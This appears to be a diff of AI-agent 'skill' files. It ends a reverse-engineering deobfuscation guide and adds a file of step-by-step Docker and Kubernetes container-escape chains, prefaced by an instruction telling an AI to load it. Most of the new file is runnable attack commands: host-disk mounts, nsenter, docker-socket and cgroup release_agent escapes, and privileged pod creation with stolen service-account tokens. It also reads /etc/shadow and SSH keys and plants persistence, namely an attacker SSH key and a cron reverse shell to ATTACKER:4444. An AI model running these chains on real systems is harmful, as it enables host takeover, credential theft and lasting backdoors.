340
|
+
│ ├─ Giant flat switch/dispatcher loop?
|
|
341
|
+
│ │ ├─ State variable drives control flow → CFF
|
|
342
|
+
│ │ │ └─ Use D-810 or symbolic deflattening
|
|
343
|
+
│ │ └─ Bytecode fetch-decode-execute → VM protection
|
|
344
|
+
│ │ └─ Extract handlers, build disassembler
|
|
345
|
+
│ │
|
|
346
|
+
│ ├─ Only mov instructions?
|
|
347
|
+
│ │ └─ movfuscator → demovfuscator tool
|
|
348
|
+
│ │
|
|
349
|
+
│ ├─ XOR/ADD loop writing to .text section?
|
|
350
|
+
│ │ └─ SMC → breakpoint after decode, dump
|
|
351
|
+
│ │
|
|
352
|
+
│ ├─ Impossible conditions in branches?
|
|
353
|
+
│ │ └─ Opaque predicates → Z3 proving or pattern removal
|
|
354
|
+
│ │
|
|
355
|
+
│ ├─ Disassembly looks wrong / functions overlap?
|
|
356
|
+
│ │ └─ Anti-disassembly → manual re-analysis at correct offsets
|
|
357
|
+
│ │
|
|
358
|
+
│ ├─ No readable strings?
|
|
359
|
+
│ │ └─ String encryption → hook decrypt function or emulate
|
|
360
|
+
│ │
|
|
361
|
+
│ ├─ No imports in IAT?
|
|
362
|
+
│ │ └─ Import hiding → identify hash, build lookup table
|
|
363
|
+
│ │
|
|
364
|
+
│ └─ pushad/pushfd → complex code → popad/popfd?
|
|
365
|
+
│ └─ VM protector entry/exit → full VM analysis
|
|
366
|
+
│
|
|
367
|
+
└─ What tool to use?
|
|
368
|
+
├─ Known protector (VMProtect/Themida) → specific deprotection guide
|
|
369
|
+
├─ Custom obfuscation → combine: IDA scripting + Triton + manual
|
|
370
|
+
├─ CTF challenge → angr symbolic execution often fastest
|
|
371
|
+
└─ Malware analysis → dynamic (debugger + API monitor) first
|
|
372
|
+
```
|
|
373
|
+
|
|
374
|
+
---
|
|
375
|
+
|
|
376
|
+
## 10. TOOLBOX
|
|
377
|
+
|
|
378
|
+
| Tool | Purpose | Best For |
|
|
379
|
+
|---|---|---|
|
|
380
|
+
| IDA Pro + Hex-Rays | Disassembly, decompilation, scripting | All-around analysis |
|
|
381
|
+
| Ghidra | Free alternative with scripting (Java/Python) | Budget-friendly RE |
|
|
382
|
+
| D-810 (IDA plugin) | Automated CFF deflattening | OLLVM-style obfuscation |
|
|
383
|
+
| miasm | IR-based analysis framework | Symbolic deobfuscation |
|
|
384
|
+
| Triton | Dynamic symbolic execution | Opaque predicate solving, CFF |
|
|
385
|
+
| REVEN | Full-system trace recording and replay | VM protector analysis |
|
|
386
|
+
| demovfuscator | movfuscator reversal | mov-only binaries |
|
|
387
|
+
| x64dbg + plugins | Dynamic analysis with scripting | Windows RE |
|
|
388
|
+
| Unicorn Engine | CPU emulation | SMC unpacking, shellcode |
|
|
389
|
+
| Capstone | Disassembly library | Custom tooling |
|
|
390
|
+
| IDA FLIRT | Function signature matching | Identify library code in stripped binaries |
|
|
391
|
+
| Binary Ninja | Alternative disassembler with MLIL/HLIL | Automated analysis |
|
|
@@ -0,0 +1,296 @@
|
|
|
1
|
+
# Docker Escape Chains & Kubernetes Escape Paths
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this for step-by-step container escape chains covering common misconfigurations, Docker-in-Docker scenarios, and Kubernetes-specific escape sequences. Assumes the main [SKILL.md](./SKILL.md) is already loaded for fundamental escape techniques.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. ESCAPE CHAIN: PRIVILEGED CONTAINER → HOST ROOT
|
|
8
|
+
|
|
9
|
+
### 1.1 Full Chain (Mount + Chroot)
|
|
10
|
+
|
|
11
|
+
```bash
|
|
12
|
+
# Step 1: Confirm privileged mode
|
|
13
|
+
cat /proc/self/status | grep CapEff
|
|
14
|
+
# Expected: 0000003fffffffff (or 000001ffffffffff on newer kernels)
|
|
15
|
+
|
|
16
|
+
# Step 2: Identify host disk
|
|
17
|
+
fdisk -l 2>/dev/null
|
|
18
|
+
# /dev/sda1 (typical VM) or /dev/nvme0n1p1 (cloud)
|
|
19
|
+
|
|
20
|
+
# Step 3: Mount host root
|
|
21
|
+
mkdir -p /mnt/hostroot
|
|
22
|
+
mount /dev/sda1 /mnt/hostroot
|
|
23
|
+
|
|
24
|
+
# Step 4: Chroot to host
|
|
25
|
+
chroot /mnt/hostroot bash
|
|
26
|
+
|
|
27
|
+
# Step 5: Persistence — add SSH key
|
|
28
|
+
mkdir -p /root/.ssh
|
|
29
|
+
echo "ssh-rsa AAAA... attacker@box" >> /root/.ssh/authorized_keys
|
|
30
|
+
|
|
31
|
+
# Step 6: Clean up (optional — remove chroot artifacts)
|
|
32
|
+
exit
|
|
33
|
+
umount /mnt/hostroot
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
### 1.2 Full Chain (nsenter — Cleaner)
|
|
37
|
+
|
|
38
|
+
```bash
|
|
39
|
+
# Step 1: Confirm privileged + host PID visibility
|
|
40
|
+
ls /proc/1/root/etc/hostname
|
|
41
|
+
# If readable → host PID namespace is shared or we're privileged
|
|
42
|
+
|
|
43
|
+
# Step 2: nsenter into all host namespaces
|
|
44
|
+
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
|
|
45
|
+
|
|
46
|
+
# Step 3: Now running in host context
|
|
47
|
+
whoami # root
|
|
48
|
+
hostname # host hostname
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
## 2. ESCAPE CHAIN: DOCKER SOCKET → HOST ROOT
|
|
54
|
+
|
|
55
|
+
### 2.1 With Docker CLI Available
|
|
56
|
+
|
|
57
|
+
```bash
|
|
58
|
+
# Step 1: Confirm socket access
|
|
59
|
+
ls -la /var/run/docker.sock
|
|
60
|
+
docker ps # list running containers
|
|
61
|
+
|
|
62
|
+
# Step 2: Launch privileged escape container
|
|
63
|
+
docker run -d --privileged --pid=host \
|
|
64
|
+
-v /:/hostfs \
|
|
65
|
+
--name escape alpine sleep 3600
|
|
66
|
+
|
|
67
|
+
# Step 3: Exec into escape container
|
|
68
|
+
docker exec -it escape chroot /hostfs bash
|
|
69
|
+
|
|
70
|
+
# Step 4: Persistence
|
|
71
|
+
echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys
|
|
72
|
+
# Or add cron backdoor:
|
|
73
|
+
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER/4444 0>&1' >> /etc/crontab
|
|
74
|
+
|
|
75
|
+
# Step 5: Cleanup
|
|
76
|
+
exit
|
|
77
|
+
docker rm -f escape
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### 2.2 Without Docker CLI (curl Only)
|
|
81
|
+
|
|
82
|
+
```bash
|
|
83
|
+
# Step 1: List images available on host
|
|
84
|
+
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json \
|
|
85
|
+
| python3 -c "import sys,json; [print(i['RepoTags']) for i in json.load(sys.stdin)]"
|
|
86
|
+
|
|
87
|
+
# Step 2: Create container
|
|
88
|
+
CONTAINER_ID=$(curl -s --unix-socket /var/run/docker.sock \
|
|
89
|
+
-X POST http://localhost/containers/create \
|
|
90
|
+
-H "Content-Type: application/json" \
|
|
91
|
+
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true,
|
|
92
|
+
"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
|
|
93
|
+
| python3 -c "import sys,json; print(json.load(sys.stdin)['Id'])")
|
|
94
|
+
|
|
95
|
+
# Step 3: Start container
|
|
96
|
+
curl -s --unix-socket /var/run/docker.sock \
|
|
97
|
+
-X POST "http://localhost/containers/${CONTAINER_ID}/start"
|
|
98
|
+
|
|
99
|
+
# Step 4: Exec command (read host shadow)
|
|
100
|
+
EXEC_ID=$(curl -s --unix-socket /var/run/docker.sock \
|
|
101
|
+
-X POST "http://localhost/containers/${CONTAINER_ID}/exec" \
|
|
102
|
+
-H "Content-Type: application/json" \
|
|
103
|
+
-d '{"Cmd":["cat","/host/etc/shadow"],"AttachStdout":true}' \
|
|
104
|
+
| python3 -c "import sys,json; print(json.load(sys.stdin)['Id'])")
|
|
105
|
+
|
|
106
|
+
curl -s --unix-socket /var/run/docker.sock \
|
|
107
|
+
-X POST "http://localhost/exec/${EXEC_ID}/start" \
|
|
108
|
+
-H "Content-Type: application/json" \
|
|
109
|
+
-d '{"Tty":true}'
|
|
110
|
+
|
|
111
|
+
# Step 5: Cleanup
|
|
112
|
+
curl -s --unix-socket /var/run/docker.sock \
|
|
113
|
+
-X DELETE "http://localhost/containers/${CONTAINER_ID}?force=true"
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
---
|
|
117
|
+
|
|
118
|
+
## 3. ESCAPE CHAIN: CGROUP RELEASE_AGENT → HOST COMMAND EXECUTION
|
|
119
|
+
|
|
120
|
+
```bash
|
|
121
|
+
# Step 1: Confirm cgroup v1 + CAP_SYS_ADMIN
|
|
122
|
+
mount | grep cgroup
|
|
123
|
+
# Look for "cgroup" (not "cgroup2")
|
|
124
|
+
grep CapEff /proc/self/status
|
|
125
|
+
# Need at minimum CAP_SYS_ADMIN
|
|
126
|
+
|
|
127
|
+
# Step 2: Find writable cgroup mount
|
|
128
|
+
d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null | head -n1))
|
|
129
|
+
[ -z "$d" ] && echo "No writable cgroup found" && exit 1
|
|
130
|
+
|
|
131
|
+
# Step 3: Create a child cgroup
|
|
132
|
+
mkdir -p "$d/escape"
|
|
133
|
+
|
|
134
|
+
# Step 4: Enable release notification
|
|
135
|
+
echo 1 > "$d/escape/notify_on_release"
|
|
136
|
+
|
|
137
|
+
# Step 5: Set release_agent to our script on host
|
|
138
|
+
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
|
|
139
|
+
# Alternative if perdir not found:
|
|
140
|
+
[ -z "$host_path" ] && host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
|
|
141
|
+
echo "$host_path/cmd" > "$d/release_agent"
|
|
142
|
+
|
|
143
|
+
# Step 6: Create the command script (executed on HOST)
|
|
144
|
+
cat > /cmd << 'EOF'
|
|
145
|
+
#!/bin/sh
|
|
146
|
+
id > /output
|
|
147
|
+
cat /etc/hostname >> /output
|
|
148
|
+
cat /etc/shadow >> /output
|
|
149
|
+
EOF
|
|
150
|
+
chmod +x /cmd
|
|
151
|
+
|
|
152
|
+
# Step 7: Trigger — add process to cgroup then exit
|
|
153
|
+
sh -c "echo \$\$ > $d/escape/cgroup.procs"
|
|
154
|
+
sleep 2
|
|
155
|
+
|
|
156
|
+
# Step 8: Read results
|
|
157
|
+
cat /output
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
---
|
|
161
|
+
|
|
162
|
+
## 4. DOCKER-IN-DOCKER (DinD) ESCAPE
|
|
163
|
+
|
|
164
|
+
### 4.1 Nested Docker → Host
|
|
165
|
+
|
|
166
|
+
```bash
|
|
167
|
+
# Scenario: running inside a DinD container that has its own Docker daemon
|
|
168
|
+
# The inner Docker socket controls the DinD daemon, not the host
|
|
169
|
+
|
|
170
|
+
# Step 1: Check which Docker we're talking to
|
|
171
|
+
docker info 2>/dev/null | grep "Docker Root Dir"
|
|
172
|
+
# /var/lib/docker → inner daemon
|
|
173
|
+
# Different path → might be host socket
|
|
174
|
+
|
|
175
|
+
# Step 2: Look for host socket mount
|
|
176
|
+
find / -name "docker.sock" 2>/dev/null
|
|
177
|
+
# /var/run/docker.sock → could be host's
|
|
178
|
+
# /run/docker.sock → inner daemon's
|
|
179
|
+
|
|
180
|
+
# Step 3: If inner DinD is privileged against the HOST:
|
|
181
|
+
# The DinD container itself can see host devices
|
|
182
|
+
fdisk -l 2>/dev/null
|
|
183
|
+
# If host disk visible → mount it
|
|
184
|
+
|
|
185
|
+
# Step 4: Escape through the layers
|
|
186
|
+
# Inner container → DinD container (via DinD socket) → Host (via privileged mount)
|
|
187
|
+
```
|
|
188
|
+
|
|
189
|
+
### 4.2 DinD with Host Docker Socket Forwarded
|
|
190
|
+
|
|
191
|
+
```bash
|
|
192
|
+
# Common CI/CD pattern: DinD with -v /var/run/docker.sock:/var/run/docker.sock
|
|
193
|
+
# This means the DinD container controls the HOST Docker daemon
|
|
194
|
+
|
|
195
|
+
# Step 1: From inside inner container, if Docker socket is accessible:
|
|
196
|
+
docker -H unix:///var/run/docker.sock run -v /:/host --privileged alpine chroot /host bash
|
|
197
|
+
|
|
198
|
+
# Step 2: This new container runs on the HOST with full access
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
## 5. KUBERNETES-SPECIFIC ESCAPE PATHS
|
|
204
|
+
|
|
205
|
+
### 5.1 Privileged Pod → Node
|
|
206
|
+
|
|
207
|
+
```bash
|
|
208
|
+
# Step 1: Confirm in Kubernetes
|
|
209
|
+
ls /var/run/secrets/kubernetes.io/serviceaccount/
|
|
210
|
+
cat /etc/hostname # pod name format
|
|
211
|
+
|
|
212
|
+
# Step 2: If pod is privileged
|
|
213
|
+
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|
214
|
+
# Now on the Kubernetes node
|
|
215
|
+
|
|
216
|
+
# Step 3: From node, access kubelet credentials
|
|
217
|
+
cat /var/lib/kubelet/config.yaml
|
|
218
|
+
ls /etc/kubernetes/pki/ # cluster certificates
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
### 5.2 Service Account → Privileged Pod Creation
|
|
222
|
+
|
|
223
|
+
```bash
|
|
224
|
+
# Step 1: Read current SA token
|
|
225
|
+
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
|
|
226
|
+
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
|
227
|
+
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
|
|
228
|
+
API="https://kubernetes.default.svc"
|
|
229
|
+
|
|
230
|
+
# Step 2: Check permissions
|
|
231
|
+
curl -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
|
|
232
|
+
-H "Authorization: Bearer $TOKEN" \
|
|
233
|
+
-H "Content-Type: application/json" \
|
|
234
|
+
-d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NS\"}}"
|
|
235
|
+
|
|
236
|
+
# Step 3: If can create pods → create privileged escape pod
|
|
237
|
+
curl -sk "$API/api/v1/namespaces/$NS/pods" \
|
|
238
|
+
-H "Authorization: Bearer $TOKEN" \
|
|
239
|
+
-H "Content-Type: application/json" \
|
|
240
|
+
-d '{
|
|
241
|
+
"apiVersion": "v1",
|
|
242
|
+
"kind": "Pod",
|
|
243
|
+
"metadata": {"name": "escape-pod"},
|
|
244
|
+
"spec": {
|
|
245
|
+
"hostPID": true,
|
|
246
|
+
"hostNetwork": true,
|
|
247
|
+
"containers": [{
|
|
248
|
+
"name": "escape",
|
|
249
|
+
"image": "alpine",
|
|
250
|
+
"command": ["/bin/sh","-c","nsenter --target 1 --mount --uts --ipc --net --pid -- bash -c \"cat /etc/shadow > /tmp/shadow\"; sleep 3600"],
|
|
251
|
+
"securityContext": {"privileged": true},
|
|
252
|
+
"volumeMounts": [{"name":"hostfs","mountPath":"/host"}]
|
|
253
|
+
}],
|
|
254
|
+
"volumes": [{"name":"hostfs","hostPath":{"path":"/"}}]
|
|
255
|
+
}
|
|
256
|
+
}'
|
|
257
|
+
|
|
258
|
+
# Step 4: Exec into escape pod
|
|
259
|
+
curl -sk "$API/api/v1/namespaces/$NS/pods/escape-pod/exec?command=/bin/sh&stdin=true&stdout=true&tty=true" \
|
|
260
|
+
-H "Authorization: Bearer $TOKEN" \
|
|
261
|
+
-H "Upgrade: websocket" \
|
|
262
|
+
-H "Connection: Upgrade"
|
|
263
|
+
```
|
|
264
|
+
|
|
265
|
+
### 5.3 hostPath Volume → Node Filesystem
|
|
266
|
+
|
|
267
|
+
```bash
|
|
268
|
+
# If pod has a hostPath volume mounted (even non-privileged):
|
|
269
|
+
# Step 1: Check mounts
|
|
270
|
+
mount | grep -v "overlay\|tmpfs\|proc\|cgroup"
|
|
271
|
+
|
|
272
|
+
# Step 2: If /host or similar exists:
|
|
273
|
+
ls /host/etc/shadow # Read node's shadow
|
|
274
|
+
cat /host/root/.ssh/id_rsa # SSH keys
|
|
275
|
+
|
|
276
|
+
# Step 3: Write to host for persistence
|
|
277
|
+
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER/4444 0>&1' >> /host/etc/crontab
|
|
278
|
+
```
|
|
279
|
+
|
|
280
|
+
---
|
|
281
|
+
|
|
282
|
+
## 6. ESCAPE CHAIN SELECTION MATRIX
|
|
283
|
+
|
|
284
|
+
| Available Condition | Best Escape Chain | Section |
|
|
285
|
+
|---|---|---|
|
|
286
|
+
| `--privileged` flag | Mount host disk + chroot | §1.1 |
|
|
287
|
+
| `--privileged` + hostPID | nsenter -t 1 | §1.2 |
|
|
288
|
+
| Docker socket mounted | Create privileged container | §2 |
|
|
289
|
+
| CAP_SYS_ADMIN + cgroup v1 | release_agent write | §3 |
|
|
290
|
+
| CAP_SYS_PTRACE + hostPID | Process injection | SKILL.md §3.2 |
|
|
291
|
+
| CAP_DAC_READ_SEARCH | Shocker (open_by_handle_at) | SKILL.md §3.4 |
|
|
292
|
+
| K8s SA with pod/create RBAC | Create privileged pod | §5.2 |
|
|
293
|
+
| K8s hostPath volume | Read/write node filesystem | §5.3 |
|
|
294
|
+
| Vulnerable kernel | Kernel exploit | linux-privilege-escalation |
|
|
295
|
+
| Vulnerable runc (<1.0.0-rc6) | CVE-2019-5736 | SKILL.md §8 |
|
|
296
|
+
| DinD with host socket | Double-hop escape | §4.2 |
|